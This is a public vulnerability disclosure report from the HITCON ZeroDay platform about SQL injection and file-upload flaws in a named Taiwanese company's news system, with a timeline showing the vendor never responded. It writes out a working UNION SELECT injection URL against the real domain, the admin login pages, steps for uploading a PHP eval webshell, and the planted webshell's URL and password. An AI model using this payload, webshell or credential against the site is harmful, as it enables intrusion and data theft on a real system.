Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2016-00101
- Vendor: 昇陽建設企業股份有限公司
- Title: 某某公司存在SQL漏洞、可getshell
- Introduction: 存在最常見的SQL Injection 一種手法漏洞
處理狀態
目前狀態
公開
Last Update : 2016/11/09
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2016/06/06 18:32:44 : 新提交 (由 aaa 更新此狀態)
- 2016/06/07 00:00:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/06/30 12:08:54 : 內部作業 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/06/30 12:09:11 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/11/09 03:00:03 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
詳細資料
- ZDID:ZD-2016-00101
- 通報者:honc (aaa)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.syang.com.tw/newsSystem/newshow.php?news_id=-111+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_schema=database()%20--
http://www.syang.com.tw/newsSystem/newsLogin.php (後台網址)
http://www.syang.com.tw/newsSystem/newsLogin.php (後台網址)
敘述
1: 儘管網站是html 輸出型態,但框架元素就可找到之後爆庫
2: 後台太過於簡單,資料庫又有管理帳號密碼,因此可登入後台
3:登入後台,由於新增新聞上傳圖片那邊未檢查上傳類型,因此可上傳php 類型WebShell
簡單寫個eval(code)控制指令執行,就可上任意的改首頁由於是root 權限可能還可提權
Webshell Check : http://www.syang.com.tw/newsSystem/images/X.php (Password:ee)
擷圖
留言討論
登入後留言